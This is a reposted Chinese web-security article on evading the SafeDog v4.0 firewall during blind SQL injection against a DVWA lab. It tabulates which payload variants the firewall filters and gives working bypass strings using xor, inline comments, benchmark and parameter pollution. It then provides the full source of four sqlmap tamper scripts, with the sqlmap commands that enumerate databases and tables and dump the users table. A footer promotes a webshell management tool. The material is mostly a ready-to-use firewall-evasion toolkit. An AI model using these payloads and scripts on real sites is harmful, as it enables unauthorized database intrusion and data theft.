1. 黑客安全网-互联网安全媒体信息综合平台首页
  2. 分类阅读
  3. WEB安全

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

一、环境配置

靶机使用的版本:安全狗v4.0+dvwa

二、绕过思路如下

说明一下:盲注的流程

1.进行判断是否有注入(首先要确定闭合)

and 1=1

2.使用条件 语句和时间函数来判断是否可以延时

and if(length(database())>1,sleep(5),1)

3.使用ascii()等和字符截取函数判断sql语句查询出来的值

and if(ascii(substr(sql语句,1,1))>=1,sleep(1),1)

4.使用sql语句时,如果waf对其中的内容拦截了,要进行绕过

1.and 和 = 绕过

基类: and 1=1

第一种绕过方式:数据库层绕过,安全狗会检测内联注释内容+参数污染

id=2/*&id=1/*!and*/1=1 %23

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

第二种绕过方式:一些函数

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

测试安全狗基础数据类型过滤规则

规则 是否过滤
and+整形 过滤
and+字符串 过滤
and+浮点型 过滤
and+布尔型 过滤
and+NULL 不过滤
and+数组 不过滤
and+函数 敏感函数过滤
= 不过滤

大胆猜测and与=之间的过滤关系

and+=+任何数据类型,都会被过滤
and与=之间,如果有其它符号(未被过滤的符号),就可以扰乱and与=之间的判断

例如:!(安全狗直接忽略掉内联注释)、+、-

规则 是否过滤
and+函数=函数 过滤
and+函数%2b1=函数%2b1 过滤
and+函数-1=函数-1 不过滤
and+函数!=函数 不过滤
and+函数 IS NOT NULL 不过滤
and+函数*1=函数 不过滤
and+函数/1=函数 不过滤
and+curdate()curdate() 不过滤
and+curdate() 不过滤
and+curdate() between 1 and curdate() 不过滤
and+curdate() not in (1,2) 不过滤 curdate() xor 0

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

将and替换为xor也可以进行绕过

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

1.1小结

绕过思路: 1.and在数据库中是逻辑运算符,所以我们可以用xor进行代替

                   2.内联注释和参数污染结合使用可以进行绕过(这是特例)

                   3.对于and 1=1,如果我们不替换and,可以尝试替换and之后的数据类型或者增加一些运算符号,来干扰waf的判断从而进行绕过

ps:下面的盲注方法,采用的是第一种绕过思路

2.延时函数的绕过

基类: and if(length(database())>1,sleep(5),1)%23

延时的方法

规则 是否过滤
sleep(5) 过滤
benchmark(10000000,sha(1)) 不过滤
/*!sleep*//*!(5)*/ 不过滤

sql bypass(安全狗v4.0) 盲注绕过(附tamper)sql bypass(安全狗v4.0) 盲注绕过(附tamper)sql bypass(安全狗v4.0) 盲注绕过(附tamper)

对于if判断语句的绕过

1.and if的形式

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

使用内联注释也被过滤

sql bypass(安全狗v4.0) 盲注绕过(附tamper)所以对and进行替换

xor /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23

^ /*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23

/*!if*/(length(/*!database*//*!()*/)>=1,/*!sleep*//*!(1)*/,curdate())%23

and case when 1!=0 then /*!sleep*//*!(5)*/ else 0 end %23

sql bypass(安全狗v4.0) 盲注绕过(附tamper)2.1小结

绕过思路: 1.我们可以使用内联注释来绕过函数的检测

3.对select from进行绕过

‘ xor /*!if*/((/*!ascii*/(substr((select(table_name)from information_schema.tables where table_schema=’pikachu’ limit 0,1),1,1))>=1),/*!sleep*//*!(1)*/,1)%23

3.1小结

绕过思路:1.这里经过多种方法测试,使用括号可以进行绕过

三、半自动化tamper编写

说明:

1.使用sqlmap的时候,其中的注入语句跟上面有差异,但大体的绕过思路是一样的

简要分析一下替换规则

and => xor
if => /*!if*/
ascii=>/*!ascii*/
select from => select()from
sleep(1)  => /*!sleep*//*!(1)*/

2.使用sqlmap的时候需要使用–random-agent参数,需要绕过安全狗,因为安全狗会根据agent头来过滤掉sqlmap

对于使用-u参数的tamper

sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper u.py –random-agent 

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

sql bypass(安全狗v4.0) 盲注绕过(附tamper)u.py

#! /usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()']


def dependencies():
    pass

def tamper(payload,**kwargs):
    payload = payload.replace("AND", "XOR")
    payload = payload.replace("IF", "/*!IF*/")
    payload = payload.replace("ASCII", "/*!ASCII*/")
    for test2 in test3:
    	payload = payload.replace(test2, "/*!" + test2 + "*/")
    print(payload)
    return payload

说明:对于上面的print(payload)可以观察注入语句,进而修改

查库、查表

sql注入语句

sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ku.py –random-agent –current-db

sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ku.py –random-agent -D dvwa –tables

说明一下sqlmap的注入语句

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

XOR (SELECT 7146 FROM (SELECT(/*!SLEEP*/(5-(/*!IF*/(ORD(MID((IFNULL(CAST(/*!DATABASE*//*!()*/ AS CHAR),0x20)),1,1))>32,0,5)))))KvCU)

经过本地测试,规则替换使IFNULL出错

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

说明:经过上面测试,使用xor的话不用内联注释IF,所以查询数据库时,可以把上面的IF内联注释语句删除掉。

ku.py

#! /usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()']


def dependencies():
    pass

def tamper(payload,**kwargs):
    payload = payload.replace("AND", "XOR")
    payload = payload.replace("ASCII", "/*!ASCII*/")
    for test2 in test3:
    	payload = payload.replace(test2, "/*!" + test2 + "*/")
    print(payload)
    return payload

sql bypass(安全狗v4.0) 盲注绕过(附tamper)sql bypass(安全狗v4.0) 盲注绕过(附tamper)查字段

说明:因为xor的替换关系,使用表名和数据库名作为条件带入查询时,原来的and连接被改用了xor连接。这里要替换回来,否则查询结果与数据库结果不一致。

因为XOR的关系,这里爆出来的columns值与真实的不符,所以要改为and。但是改为and后,and ‘xx’=’xx

会被安全狗拦截,所以这里也要更换。

sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper lie.py –random-agent -D dvwa -T users –columns

sql bypass(安全狗v4.0) 盲注绕过(附tamper)lie.py

#! /usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()']


def dependencies():
    pass

def tamper(payload,**kwargs):
    payload = payload.replace("AND", "XOR")
    payload = payload.replace("ASCII", "/*!ASCII*/")
    for test2 in test3:
    	payload = payload.replace(test2, "/*!" + test2 + "*/")
    payload = payload.replace("table_name=0x7573657273 XOR table_schema=0x64767761","table_name=0x7573657273 %26%26 table_schema=0x64767761")
    try:
        pattern = re.compile(r'(.*?)XOR(.*?)XOR(.*)')
        test = re.search(pattern,payload)
        payload = payload.replace(test.group(3)," '")
    except:
	pass
    print(payload)
    return payload

sql bypass(安全狗v4.0) 盲注绕过(附tamper)查字段值

说明:由于order by字段被waf拦截,所以我们这里需要绕过order by。这里删除即可。

sqlmap -u “http://192.168.98.193/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#” –cookie=”security=low; PHPSESSID=bu6cfldhkiklcvfah46tf7bos7″ –tamper ziduan.py –random-agent -D dvwa -T users -C user –dump

sql bypass(安全狗v4.0) 盲注绕过(附tamper)ziduan.py

#! /usr/bin/env python

import re

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

test3 = ['sleep','(1)','SLEEP','(2)','(3)','(4)','(5)','(0)','DATABASE','()']


def dependencies():
    pass

def tamper(payload,**kwargs):
    payload = payload.replace("AND", "XOR")
    payload = payload.replace("ASCII", "/*!ASCII*/")
    for test2 in test3:
    	payload = payload.replace(test2, "/*!" + test2 + "*/")
    payload = payload.replace("table_name=0x7573657273 XOR table_schema=0x64767761","table_name=0x7573657273 %26%26 table_schema=0x64767761")
    try:
        pattern = re.compile(r'(.*?)XOR(.*?)XOR(.*)')
        test = re.search(pattern,payload)
        payload = payload.replace(test.group(3)," '")
    except:
	pass
    payload = payload.replace(" ORDER BY `user`","")
    print(payload)
    return payload

sql bypass(安全狗v4.0) 盲注绕过(附tamper)

相关推荐: 攻防礼盒:哥斯拉Godzilla Shell管理工具

本文原载于公众号:ChaBug 作者:BeichenDream **期间,各大厂商的waf不断,在静态查杀、流量通信等方面对webshell进行拦截,众红队急需一款优秀的权限管理工具,冰蝎3.0的发布可能缓解了流量加密的困境,但是冰蝎3.0的bug众多,很多朋…

本文为转载文章,源自互联网,由网络整理整理编辑,转载请注明出处:https://www.hacksafe.net/articles/web/2853.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注